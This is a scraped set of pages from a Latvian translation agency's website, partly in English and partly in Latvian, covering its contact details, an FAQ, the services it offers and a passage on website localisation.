Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set. KRKA d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services. Sandoz d. d. The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company. Adidas Baltics --- > Ask a question or request a free quote by filling out the contact form! | Lāčplēša 87C, Riga | birojs@skrivanek.lv - Published: 2017-10-30 - Modified: 2024-09-04 - URL: https://skrivanek.lv/kontakti/ - Translation Priorities: Optional if (typeof(gem_fix_fullwidth_position) == "function") { gem_fix_fullwidth_position(document. getElementById("fullwidth-block-6887305857029")); } GET A PRICE QUOTE / SEND YOUR QUESTION Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! CONTACTS – SKRIVANEK BALTIC  Lāčplēša iela 87C, Riga, Latvia, LV-1011 (Waze) Mon–Fri from 9. 00 to 17. 30(+371) 26 382 680 (WhatsApp) TRANSLATIONS AND INTERPRETING birojs@skrivanek. lv(+371) 67 240 364 (Mon–Fri from 9. 00 to 17. 30)(+371) 26 181 355 (Mon–Fri from 9. 00 to 17. 30) LANGUAGE TRAINING CENTER macibas@skrivanek. lv(+371) 67 218 573 (Mon–Fri from 9. 00 to 17. 30)(+371) 25 667 752 (Mon–Fri from 9. 00 to 17. 30) valodumacibas. lv OUR EMPLOYEES Vasilijs Ragačevičs Director vasilijs@skrivanek. lv Artūrs Peha Business Development Manager arturs@skrivanek. lv Dana Laizāne Localization & AI Project Director dana@skrivanek. lv Jeļena Lapoška Head of Administrative Department jelena. laposka@skrivanek. lv Aiga Matveja Head of Training Center macibas@skrivanek. lv Ivars Treskovskis Translation Project Director ivars@skrivanek. lv Lelde Calmane Head of Quality Department lelde@skrivanek. lv Jānis Luns Marketing Manager janis. luns@skrivanek. lv Uldis Krūmiņš IT administrator uldis@skrivanek. lv SKRIVANEK BALTIC LANGUAGE SOLUTIONS Skrivanek Baltic is a certified translation agency, which has been operating and offering language services of the highest quality in Latvia since 2003. TRANSLATION We offer high-quality general and specialised translations in more than 110 languages, including Latvian, Russian, German, Spanish, French, Italian, Estonian, Swedish, Norwegian, Finnish, etc. We will translate your documents whether they require industry-specific knowledge and strict adherence to terminology or not. Our most popular fields of translation include insurance, construction, finance and banking, human resources, IT and gaming, law, agriculture and forestry, engineering and railways, medicine and clinical trials, manufacturing, advertising and marketing, trade, tourism, and government and municipal institutions. We offer notary-certified translations to go with document originals and copies according to the legislation of the Republic of Latvia, grammatical and stylistic improvement of existing texts, adaptation and copywriting, desktop publishing (DTP), website translation, localisation of audio, video or software, and GoogleAds and SEO translations. INTERPRETING We provide interpreting services in various combinations of more than 40 different languages. Whether it’s consecutive interpreting at small meetings, such as business lunches or field trips, or simultaneous interpreting at large-scale events, such as conferences, our professional interpreters will ensure smooth communication. Our interpreters assist in court proceedings, as well as in different everyday situations, for instance, in communication with government or municipal institutions, in document submission processes, etc. LANGUAGE TRAINING For more than 10 years, the Training Centre Skrivanek has been offering foreign language training to businesses and individuals. Learn languages quickly and efficiently by applying to our group classes or individual training in person or remotely via Skype. We offer language training not only to adults, but also to children and youths. Contact us for a solution that’s tailor-made just for you! --- > Frequently asked questions and answers about the Skrivanek Baltic language service provider. Didn’t find an answer to question? Contact us! - Published: 2017-10-30 - Modified: 2025-07-02 - URL: https://skrivanek.lv/biezak-uzdotie-jautajumi/ - Translation Priorities: Optional Skrivanek Baltic is a certified translation agency, which has been operating and offering language services of the highest quality in Latvia since 2003. Skrivanek is one of the major language services provider in the world, with more than 30 years of experience. We currently have nearly 50 branches in various countries: USA, Austria, Belgium, Bulgaria, Czech Republic, Estonia, Lithuania, Poland, Slovakia, Slovenia, and Germany. The Skrivanek Baltic Language School was opened in 2007, giving both children and adults an opportunity to improve or acquire new foreign language skills with the help of highly qualified and knowledgeable lecturers, as well as to receive detailed information about languages. Prices for translation services are calculated according to the number of words in the source document, the language pair, and other aspects. Send us your documents, and we will provide you a quote on the service price before beginning the translation. Receiving a free quote does not give you any obligation to cooperate with us. Yes, all prices for natural persons are inclusive of VAT. For corporate clients, prices are shown excluding VAT. Under the regulation of the EU we do not charge VAT on services provided to VAT-registered businesses in other member countries. According to the reverse-charge regulation tax liability transfers to the recipient of services. If you have a Microsoft Word document, use the Word Count feature (Review à Word Count). If your document is in another format (a printout, JPG, HTML, PHP, ASP, etc. ), send it to our e-mail and we will give you a free quote. We will agree on the deadline before starting the order. Generally, translating 500 words or less will take one full working day, while translating 1000 words and more will take at least a day and a half. In exceptional cases, we also perform urgent translations. It can be in any electronic format – we can handle many formats. If your document is not available electronically, send it to us as a photo. We can translate anything in virtually any electronic format, while still preserving the formatting of the original document. In the case of localisation services, we stick to the specific instructions provided by the client or settings dictated by software. We’d love to! Skrivanek has vast experience and knowledge in translating and localising different websites and content management systems. We always ensure a professional approach and find the most suitable solution for your specific situation to ensure the best results in the respective language combinations. Although most of our translation requests come from legal entities, we gladly work with natural persons as well. Notary-certified translations is the most common service among natural persons. Language courses, and camps for children and youths are also popular. Both of them are language experts, but the difference lies in that translators provide written translations, while interpreters provide oral translations, either consecutive or simultaneous. Whenever possible, we work with the original documents electronically, without making any changes to style or formatting. When necessary, we guarantee that the translation of the client’s document looks just like the original or format it according to the client’s instructions with the help of our DTP team. We are certified according to ISO 9001, EN 17100, EN ISO 14001, EN ISO 18587, ISO 27001, and ISO 13485. We are committed to confidentiality, take responsibility for everything we do, and are always on time! EN 17100 specifies requirements for all aspects of the translation process directly affecting the quality and delivery of translation services. For our clients’ peace of mind we have signed a professional liability agreement with the international insurance company Colonnade Insurance S. A. We also provide translations with notary certification or certify them ourselves. No, all translation orders are accepted and overseen by project managers, who form an effective link between clients and suppliers. Skrivanek Baltic translators and interpreters can provide services in more than 110 languages. We provide great variety of language solutions – translation and interpreting services, localisation services, text adaptation, copywriting, DTP and language training. Interpreting is provided at conferences and business meetings, as well as during court proceedings. Translating includes specialised and general translations across a variety of industries. Yes, oftentimes we even create teams of language specialists for our cooperation partners, which means that the services are provided by the same translators or interpreters as before. We welcome your feedback and will gladly engage the same language specialist. Our regular clients also have their own project managers. It depends on each individual case and your needs. Only you can decide how many hours an interpreter should spend with you. When the text is intended for marketing or advertising purposes, a simple translation will not cut it – more often than not the text has to be localised and idioms and other expressions have to be changed to ensure that the meaning can be easily picked up by the target language users. This is when texts are adapted to fully conform to the requirements of the target language audience. Computer-Assisted Translation (CAT) tools are programmes intended to facilitate the translation process. Translation tools do not rely on computerised or automated translation, but they allow to carry out translations faster, ensure consistent use of terminology, reduce translation costs, and provide other advantages. These tools also allow all translated texts to be saved, which means that identical sentences only have to be translated once. They are especially helpful when translating financial and technical texts, as well as medicinal product descriptions, websites and software. DIDN’T FIND AN ANSWER TO YOUR QUESTION? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates TRANSLATION We offer high-quality translations in the necessary language combinations, guaranteeing confidentiality and respecting deadlines. Read more INTERPRETING We provide all types of interpreting services in various combinations of more than 40 different languages. Read more LOCALISATION We not only provide translations but also make sure that the localised products and software function well. Read more LANGUAGE TRAINING We offer practical language training for both individuals and employees of companies and institutions with different levels of knowledge. Read more SOME REASONS TO CHOOSE US  Quality and performance guarantee We are certified according to ISO 9001, EN 17100, and ISO 27001. We take responsibility for our work and never miss deadlines! Read more  Latest translation technologies We use modern technological achievements to promote quality and productivity! Read more  Wide range of language solutions We grow and develop together with you to provide the best and widest range of language solutions in the Baltics! Contact us WE PROVIDE LANGUAGE SOLUTIONS FOR DIFFERENT INDUSTRIES IN MORE THAN 300 LANGUAGE COMBINATIONS Czech Language Danish Language Estonian Language Finnish Language French Language German Language Greek Language Italian Language Lithuanian Language Norwegian Language Polish Language Russian Language Spanish Language Swedish Language Other Languages Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > A language service provider with more than 30 years of experience: professional language services for businesses and individuals. Contact us! - Published: 2017-10-30 - Modified: 2025-07-02 - URL: https://skrivanek.lv/ - Translation Priorities: Optional Foreign Languages for Great Success More than 30 years on the market! Translation Interpreting Localisation Language Training YOUR TRANSLATION BUREAU AND LANGUAGE TRAINING CENTRE SKRIVANEK 1 Skrivanek is one of the major language services providers in the world, with more than 30 years of experience in the field of language services. Currently it has almost fifty branches in various countries across the world. Skrivanek Baltic has been operating in Latvia since 2003, offering its customers high-quality language services. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates SOME REASONS TO CHOOSE US  Quality and performance guarantee We are certified according to ISO 9001, EN 17100, and ISO 27001. We take responsibility for our work and never miss deadlines! Read more  Latest translation technologies We use modern technological achievements to promote quality and productivity! Read more  Wide range of language solutions We grow and develop together with you to provide the best and widest range of language solutions in the Baltics! Contact us WE PROVIDE LANGUAGE SOLUTIONS FOR DIFFERENT INDUSTRIES IN MORE THAN 300 LANGUAGE COMBINATIONS Czech Language Danish Language English Language Estonian Language Finnish Language French Language German Language Greek Language Italian Language Lithuanian Language Norwegian Language Polish Language Russian Language Spanish Language Swedish Language Other Languages Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  Get a Price Quote / Send Your Question Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! Frequently Asked Questions Skrivanek Baltic is a certified translation agency, which has been operating and offering language services of the highest quality in Latvia since 2003. Skrivanek is one of the major language services provider in the world, with more than 30 years of experience. We currently have nearly 50 branches in various countries: USA, Austria, Belgium, Bulgaria, Czech Republic, Estonia, Lithuania, Poland, Slovakia, Slovenia, and Germany. The Skrivanek Baltic Language School was opened in 2007, giving both children and adults an opportunity to improve or acquire new foreign language skills with the help of highly qualified and knowledgeable lecturers, as well as to receive detailed information about languages. Prices for translation services are calculated according to the number of words in the source document, the language pair, and other aspects. Send us your documents, and we will provide you a quote on the service price before beginning the translation. Receiving a free quote does not give you any obligation to cooperate with us. Yes, all prices for natural persons are inclusive of VAT. For corporate clients, prices are shown excluding VAT. Under the regulation of the EU we do not charge VAT on services provided to VAT-registered businesses in other member countries. According to the reverse-charge regulation tax liability transfers to the recipient of services. If you have a Microsoft Word document, use the Word Count feature (Review à Word Count). If your document is in another format (a printout, JPG, HTML, PHP, ASP, etc. ), send it to our e-mail and we will give you a free quote. We will agree on the deadline before starting the order. Generally, translating 500 words or less will take one full working day, while translating 1000 words and more will take at least a day and a half. In exceptional cases, we also perform urgent translations. It can be in any electronic format – we can handle many formats. If your document is not available electronically, send it to us as a photo. We can translate anything in virtually any electronic format, while still preserving the formatting of the original document. In the case of localisation services, we stick to the specific instructions provided by the client or settings dictated by software. We’d love to! Skrivanek has vast experience and knowledge in translating and localising different websites and content management systems. We always ensure a professional approach and find the most suitable solution for your specific situation to ensure the best results in the respective language combinations. Although most of our translation requests come from legal entities, we gladly work with natural persons as well. Notary-certified translations is the most common service among natural persons. Language courses, and camps for children and youths are also popular. Both of them are language experts, but the difference lies in that translators provide written translations, while interpreters provide oral translations, either consecutive or simultaneous. Whenever possible, we work with the original documents electronically, without making any changes to style or formatting. When necessary, we guarantee that the translation of the client’s document looks just like the original or format it according to the client’s instructions with the help of our DTP team. We are certified according to ISO 9001, EN 17100, EN ISO 14001, EN ISO 18587, ISO 27001, and ISO 13485. We are committed to confidentiality, take responsibility for everything we do, and are always on time! EN 17100 specifies requirements for all aspects of the translation process directly affecting the quality and delivery of translation services. For our clients’ peace of mind we have signed a professional liability agreement with the international insurance company Colonnade Insurance S. A. We also provide translations with notary certification or certify them ourselves. No, all translation orders are accepted and overseen by project managers, who form an effective link between clients and suppliers. Skrivanek Baltic translators and interpreters can provide services in more than 110 languages. We provide great variety of language solutions – translation and interpreting services, localisation services, text adaptation, copywriting, DTP and language training. Interpreting is provided at conferences and business meetings, as well as during court proceedings. Translating includes specialised and general translations across a variety of industries. Yes, oftentimes we even create teams of language specialists for our cooperation partners, which means that the services are provided by the same translators or interpreters as before. We welcome your feedback and will gladly engage the same language specialist. Our regular clients also have their own project managers. It depends on each individual case and your needs. Only you can decide how many hours an interpreter should spend with you. When the text is intended for marketing or advertising purposes, a simple translation will not cut it – more often than not the text has to be localised and idioms and other expressions have to be changed to ensure that the meaning can be easily picked up by the target language users. This is when texts are adapted to fully conform to the requirements of the target language audience. Computer-Assisted Translation (CAT) tools are programmes intended to facilitate the translation process. Translation tools do not rely on computerised or automated translation, but they allow to carry out translations faster, ensure consistent use of terminology, reduce translation costs, and provide other advantages. These tools also allow all translated texts to be saved, which means that identical sentences only have to be translated once. They are especially helpful when translating financial and technical texts, as well as medicinal product descriptions, websites and software. --- > Mājaslapas tulkošana un lokalizācija – parūpēsimies, lai tā atbilstu konkrēta reģiona vai tirgus vajadzībām un lokālajām īpatnībām. - Published: 2017-10-28 - Modified: 2025-07-21 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/ - Translation Priorities: Optional Labi zināms, ka mūsdienās mājaslapa ir katra uzņēmuma galvenā vizītkarte – brīvi pieejama gan jau esošajiem, gan potenciālajiem klientiem un sadarbības partneriem. No tā, cik tā ir profesionāla, saistoša, viegli uztverama un interesanta, būs atkarīga arī apmeklētāju interese un ticība piedāvātā produkta vai pakalpojuma kvalitātei. Kas tad ir viens no būtiskākajiem pamatnosacījumiem, lai jūsu tīmekļa vietne piesaistītu aizvien vairāk jaunu klientu ne tikai vietējā tirgū, bet arī eksporta tirgos? Ļoti būtiska ir tās pieejamība apmeklētājiem saprotamā valodā. Faktiski bez uzņēmuma mājaslapas tulkošanas un lokalizācijas mūsdienās vairs nevar iztikt. Pārdomāta un gudri digitālajā vidē reklamēta tīmekļa vietne ievērojami palielina uzņēmuma pārdošanas apjomus gan lokāli, gan arī ārvalstīs, palīdz iekarot jaunus tirgus preču un pakalpojumu noietam. Tādēļ ir ļoti svarīgi nepārtraukti analizēt un pārdomāt, kā jūsu esošie un potenciālie klienti un partneri iegūs jaunāko informāciju par jūsu uzņēmumu, precēm, pakalpojumiem, aktuālākajiem piedāvājumiem, projektiem un attīstības plāniem. Teiksiet ─ mājaslapas apmeklētāji taču visu var iztulkot paši ar Googles mašīntulkotāju. Daudzi interneta lietotāju uzvedības pētījumi gan apliecina pretējo: pircēji neuzticas tīmekļa vietnēm, kas nav viņiem saprotamā valodā, jo tas raisa bažas par produkta uzticamību un pirkuma drošību. Tā, piemēram, Eiropas Komisijas veiktās aptaujas liecina, ka 90% interneta lietotāju labprātāk izvēlas aplūkot tīmekļa vietnes sev saprotamā un dzimtajā valodā. Tāpat aptuveni 44% uzskata, ka neiegūst svarīgāko informāciju par produktu, ja mājaslapa nav pieejama viņiem saprotamā valodā. Pasaules interneta vidē tikai aptuveni 52% visu mājaslapu ir pieejamas vienīgi angļu valodā. Lai arī angļu valoda ir viena no visvairāk lietotajām valodām pasaulē, diemžēl daudzi uzņēmumi zaudē ļoti daudz klientu, ja netulko un nelokalizē savas mājaslapas populārākajās konkrētā reģiona vai pat pasaules mēroga valodās. Visbeidzot, cilvēki pavada ievērojami vairāk laika, pārlūkojot un iedziļinoties tajās tīmekļa vietnēs, kuru saturs ir pieejams viņu dzimtajā valodā un teksts ir viegli un ātri uztverams. Bet ir taču reāllaika tīmekļa vietnes tulkošanas iespēja ar mašīntulkotāju. Patiešām, reāllaika tīmekļvietnes tulkošana ar mašīntulkotāju ir jau diezgan sena tehnoloģija, ko nodrošina arī visiem labi zināmais Google. Pat bērni zina, ka labais klikšķis ar peles pogu vietnē ļauj tās saturu pārtulkot ar Googles mašīntulkotāju jebkurā vēlamajā valodā. Taču viss minētais ir jāpakārto citam daudz fundamentālākam jautājumam – kāpēc jums tas ir vajadzīgs un ko tieši vēlaties panākt? Praksē šādi reāllaika mājaslapu tulkojumi atstāj mazu vai gandrīz nekādu iespaidu uz mājaslapas aptverto valodu kopu. Šīs reāllaikā tulkotās lapas nenozīmē, ka jūsu potenciālais klients atradīs jūsu tīmekļvietni, piemēram, Googles meklētājā. Šādi tulkotas lapas nesatur statisku tulkojumu attiecīgajā valodā, neiekļauj SEO atslēgvārdus un citus parametrus, ko izmanto Googles roboti, un attiecīgi netiek indeksētas. Tāpēc, ja uzskatāt, ka ar šādu mājaslapas tulkojumu tiks palielināta jūsu mājaslapas valodu mērķauditorija, tas ir maldīgs priekšstats. Svarīgi paturēt prātā, ka interneta lietotāji parasti meklē sev vēlamo informāciju savā dzimtajā valodā, pavērojiet paši sevi, cik bieži lietojat citu valodu atslēgvārdus vai veicat meklējumus meklētājos, kas nav Google. Secinājums ir pavisam vienkāršs: ja vēlamies gūt panākumus ārvalstu tirgos, liela nozīme ir uzņēmuma profesionālās darbības izklāstam vēlamajās svešvalodās, ko veic profesionāļi. KAS IR MĀJASLAPAS LOKALIZĀCIJA? Tīmekļa vietņu tulkošana un lokalizācija ir radošs un visaptverošs process, kura laikā teksts par produktu vai pakalpojumu tiek pielāgots konkrētas valsts vai reģiona tirgum, ņemot vērā mērķauditorijas valodas un kultūras īpatnības. Lokalizācija ļauj veidot dialogu ar citu valstu patērētājiem viņiem pierastā formā un manierē. Profesionāla lokalizācija veicina kultūras un citu barjeru nojaukšanu, veiksmīgi uzrunā vietējo auditoriju, kā arī padara produktu, pakalpojumu vai vēstījumu iederīgu lokālajā tirgū. Attiecīgi mājaslapas satura adaptācija un lokalizācija prasa padziļinātas zināšanas konkrētajā jomā un attiecīgās valodas lietotāju kultūrvides pārzināšanu. Profesionālie tulki un satura lokalizācijas speciālisti parasti arī palīdz izvērtēt un konsultē, cik lielā mērā jūsu sagatavotais teksts atbilst potenciālajai mērķauditorijai, – vai tas ir pietiekami labskanīgs, pareizi atspoguļo būtību un ir skaidri saprotams, neizraisa negatīvas vai divdomīgas asociācijas. Pieci galvenie elementi, kas tiek ņemti vērā, lokalizējot tīmekļa vietni: valoda un reģions ─ leksikas, terminu un jēdzienu izvēle tiek pielāgota, lai precīzi un autentiski vēstījumu par produktu nodotu potenciālajiem vietējiem klientiem; kultūras elementi ─ korekts datuma un laika formāta pieraksts, pareizs mērvienību un saīsinājumu lietojums, ievērotas tradīciju, brīvdienu un svētku dienu īpatnības, izmantotas pareizās fona krāsas utt. ; darījumu apliecinoši elementi ─ tiek lietota attiecīgās valsts valūta, attiecīgajā vietā pieejamo maksājumu iespēju, adrešu pieraksts atbilst vietējā reģiona tradīcijai; saziņas un uzticības elementi ─ vietējie tālruņu numuri, klientu atbalsts viņu dzimtajā valodā, ievērotas īpašās vietējās likumdošanas prasības, kas aizsargā patērētāju tiesības; navigācija un informācijas atrašana ─ ne mazāk svarīgi, lai mājaslapas apmeklētāji varētu ātri un ērti atrast vēlamo informāciju savā valodā. Labi zināms, ka mūsdienās mājaslapa ir katra uzņēmuma galvenā vizītkarte – brīvi pieejama gan jau esošajiem, gan potenciālajiem klientiem un sadarbības partneriem. No tā, cik tā ir profesionāla, saistoša, viegli uztverama un interesanta, būs atkarīga arī apmeklētāju interese un ticība piedāvātā produkta vai pakalpojuma kvalitātei. Kas tad ir viens no būtiskākajiem pamatnosacījumiem, lai jūsu tīmekļa vietne piesaistītu aizvien vairāk jaunu klientu ne tikai vietējā tirgū, bet arī eksporta tirgos? Ļoti būtiska ir tās pieejamība apmeklētājiem saprotamā valodā. Faktiski bez uzņēmuma mājaslapas tulkošanas un lokalizācijas mūsdienās vairs nevar iztikt. Pārdomāta un gudri digitālajā vidē reklamēta tīmekļa vietne ievērojami palielina uzņēmuma pārdošanas apjomus gan lokāli, gan arī ārvalstīs, palīdz iekarot jaunus tirgus preču un pakalpojumu noietam. Tādēļ ir ļoti svarīgi nepārtraukti analizēt un pārdomāt, kā jūsu esošie un potenciālie klienti un partneri iegūs jaunāko informāciju par jūsu uzņēmumu, precēm, pakalpojumiem, aktuālākajiem piedāvājumiem, projektiem un attīstības plāniem. Teiksiet ─ mājaslapas apmeklētāji taču visu var iztulkot paši ar Googles mašīntulkotāju. Daudzi interneta lietotāju uzvedības pētījumi gan apliecina pretējo: pircēji neuzticas tīmekļa vietnēm, kas nav viņiem saprotamā valodā, jo tas raisa bažas par produkta uzticamību un pirkuma drošību. Tā, piemēram, Eiropas Komisijas veiktās aptaujas liecina, ka 90% interneta lietotāju labprātāk izvēlas aplūkot tīmekļa vietnes sev saprotamā un dzimtajā valodā. Tāpat aptuveni 44% uzskata, ka neiegūst svarīgāko informāciju par produktu, ja mājaslapa nav pieejama viņiem saprotamā valodā. Pasaules interneta vidē tikai aptuveni 52% visu mājaslapu ir pieejamas vienīgi angļu valodā. Lai arī angļu valoda ir viena no visvairāk lietotajām valodām pasaulē, diemžēl daudzi uzņēmumi zaudē ļoti daudz klientu, ja netulko un nelokalizē savas mājaslapas populārākajās konkrētā reģiona vai pat pasaules mēroga valodās. Visbeidzot, cilvēki pavada ievērojami vairāk laika, pārlūkojot un iedziļinoties tajās tīmekļa vietnēs, kuru saturs ir pieejams viņu dzimtajā valodā un teksts ir viegli un ātri uztverams. Bet ir taču reāllaika tīmekļa vietnes tulkošanas iespēja ar mašīntulkotāju. Patiešām, reāllaika tīmekļvietnes tulkošana ar mašīntulkotāju ir jau diezgan sena tehnoloģija, ko nodrošina arī visiem labi zināmais Google. Pat bērni zina, ka labais klikšķis ar peles pogu vietnē ļauj tās saturu pārtulkot ar Googles mašīntulkotāju jebkurā vēlamajā valodā. Taču viss minētais ir jāpakārto citam daudz fundamentālākam jautājumam – kāpēc jums tas ir vajadzīgs un ko tieši vēlaties panākt? Praksē šādi reāllaika mājaslapu tulkojumi atstāj mazu vai gandrīz nekādu iespaidu uz mājaslapas aptverto valodu kopu. Šīs reāllaikā tulkotās lapas nenozīmē, ka jūsu potenciālais klients atradīs jūsu tīmekļvietni, piemēram, Googles meklētājā. Šādi tulkotas lapas nesatur statisku tulkojumu attiecīgajā valodā, neiekļauj SEO atslēgvārdus un citus parametrus, ko izmanto Googles roboti, un attiecīgi netiek indeksētas. Tāpēc, ja uzskatāt, ka ar šādu mājaslapas tulkojumu tiks palielināta jūsu mājaslapas valodu mērķauditorija, tas ir maldīgs priekšstats. Svarīgi paturēt prātā, ka interneta lietotāji parasti meklē sev vēlamo informāciju savā dzimtajā valodā, pavērojiet paši sevi, cik bieži lietojat citu valodu atslēgvārdus vai veicat meklējumus meklētājos, kas nav Google. Secinājums ir pavisam vienkāršs: ja vēlamies gūt panākumus ārvalstu tirgos, liela nozīme ir uzņēmuma profesionālās darbības izklāstam vēlamajās svešvalodās, ko veic profesionāļi. KAS IR MĀJASLAPAS LOKALIZĀCIJA? Tīmekļa vietņu tulkošana un lokalizācija ir radošs un visaptverošs process, kura laikā teksts par produktu vai pakalpojumu tiek pielāgots konkrētas valsts vai reģiona tirgum, ņemot vērā mērķauditorijas valodas un kultūras īpatnības. Lokalizācija ļauj veidot dialogu ar citu valstu patērētājiem viņiem pierastā formā un manierē. Profesionāla lokalizācija veicina kultūras un citu barjeru nojaukšanu, veiksmīgi uzrunā vietējo auditoriju, kā arī padara produktu, pakalpojumu vai vēstījumu iederīgu lokālajā tirgū. Attiecīgi mājaslapas satura adaptācija un lokalizācija prasa padziļinātas zināšanas konkrētajā jomā un attiecīgās valodas lietotāju kultūrvides pārzināšanu. Profesionālie tulki un satura lokalizācijas speciālisti parasti arī palīdz izvērtēt un konsultē, cik lielā mērā jūsu sagatavotais teksts atbilst potenciālajai mērķauditorijai, – vai tas ir pietiekami labskanīgs, pareizi atspoguļo būtību un ir skaidri saprotams, neizraisa negatīvas vai divdomīgas asociācijas. Pieci galvenie elementi, kas tiek ņemti vērā, lokalizējot tīmekļa vietni: valoda un reģions ─ leksikas, terminu un jēdzienu izvēle tiek pielāgota, lai precīzi un autentiski vēstījumu par produktu nodotu potenciālajiem vietējiem klientiem; kultūras elementi ─ korekts datuma un laika formāta pieraksts, pareizs mērvienību un saīsinājumu lietojums, ievērotas tradīciju, brīvdienu un svētku dienu īpatnības, izmantotas pareizās fona krāsas utt. ; darījumu apliecinoši elementi ─ tiek lietota attiecīgās valsts valūta, attiecīgajā vietā pieejamo maksājumu iespēju, adrešu pieraksts atbilst vietējā reģiona tradīcijai; saziņas un uzticības elementi ─ vietējie tālruņu numuri, klientu atbalsts viņu dzimtajā valodā, ievērotas īpašās vietējās likumdošanas prasības, kas aizsargā patērētāju tiesības; navigācija un informācijas atrašana ─ ne mazāk svarīgi, lai mājaslapas apmeklētāji varētu ātri un ērti atrast vēlamo informāciju savā valodā. DRUPAL PLATFORMĀ IZSTRĀDĀTAS TĪMEKĻA VIETNES TULKOŠANA UN LOKALIZĀCIJA Uzzināt vairāk WORDPRESS TĪMEKĻA VIETNES TULKOŠANA UN LOKALIZĒŠANA AR WPML SPRAUDNI Uzzināt vairāk DRUPAL PLATFORMĀ IZSTRĀDĀTAS TĪMEKĻA VIETNES TULKOŠANA UN LOKALIZĀCIJA Uzzināt vairāk WORDPRESS TĪMEKĻA VIETNES TULKOŠANA UN LOKALIZĒŠANA AR WPML SPRAUDNI Uzzināt vairāk KAS JĀŅEM VĒRĀ, TULKOJOT TĪMEKĻA VIETNES? Jānoskaidro, vai ir saglabājušies un ir pieejami tā dēvētie „arhīva faili”, kuros teksta formātā ir pieejama visa tīmekļa vietnē izvietotā informācija. Par šo failu esamību un atrašanās vietu noteikti var uzzināt no cilvēkiem, kuri ir izveidojuši vai šobrīd apkalpo konkrēto tīmekļa vietni. Jādefinē un jāziņo projektu vadītājam tīmekļa vietnes tulkojuma mērķi. Būtu vēlams informēt arī par visiem nosacījumiem, palīgmateriāliem un paraugiem. Regulāri jāsazinās ar projektu vadītāju, jo šā pakalpojuma saturs ir tieši atkarīgs no dažādiem tīmekļa vietnes uzbūves tehniskajiem aspektiem, kā arī produktīvas komunikācijas projekta realizācijas gaitā. Šī pakalpojuma atrašanai cilvēki bieži internetā lieto dažādus atslēgas vārdus – “web lapu tulkošana”, “interneta mājas lapu tulkošana”, “web lapu lokalizācija”, “mājas lapu lokalizācija”, “tīmekļvietņu tulkošana”, “tīmekļa vietņu tulkošana” u. tml. PASŪTĪJUMA IZPILDES METODES PRIEKŠROCĪBAS: darbs tiek veikts ātrāk; tiek iztulkota pilnībā visa nepieciešamā informācija; jau iztulkotos tekstus var daudz precīzāk ievietot atpakaļ tīmekļa vietnē. TRŪKUMI: komplicēta tīmekļa vietnes formāta gadījumā var rasties tehniskas grūtības ar formatējumu. šādi tulkoti teksti uzreiz parādās tīmekļa vietnē, un to var nodrošināt, izmantojot īpašu programmatūru vai spraudņus. PRIEKŠROCĪBAS: sagatavotie teksti nav jānovieto atpakaļ tīmekļa vietnē, jo tie tiek ievietoti 